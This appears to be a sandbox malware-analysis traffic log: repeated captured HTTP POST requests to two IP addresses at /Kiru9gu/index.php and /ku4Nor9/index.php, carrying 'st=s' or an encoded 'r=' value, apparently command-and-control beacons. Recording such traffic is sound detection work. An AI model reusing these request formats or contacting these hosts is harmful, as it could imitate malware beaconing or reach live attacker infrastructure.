Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
